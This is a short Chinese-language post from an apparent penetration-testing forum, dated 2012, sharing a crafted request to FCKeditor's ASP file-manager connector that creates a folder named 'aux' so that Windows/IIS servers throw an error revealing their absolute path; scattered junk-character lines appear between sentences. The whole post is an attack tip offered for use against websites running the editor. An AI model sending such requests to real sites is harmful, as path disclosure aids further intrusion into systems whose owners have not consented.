中国网络渗透测试联盟

标题: 最新FCKeditor爆绝对路径漏洞 [打印本页]

---

作者: admin    时间: 2012-11-21 13:39
标题: 最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
5 T$ U1 ]6 m& q, o) v  ~/ J; T
- o# a; H$ D3 y; i" ]* h
版本未测试。。。

原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
) O  ?3 ?) L' @) C! s; Y

! |- a; a0 a/ ?  r, P+ q% T听说IIS都可以。。
& s% \5 e- P/ Z) W) w( e

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2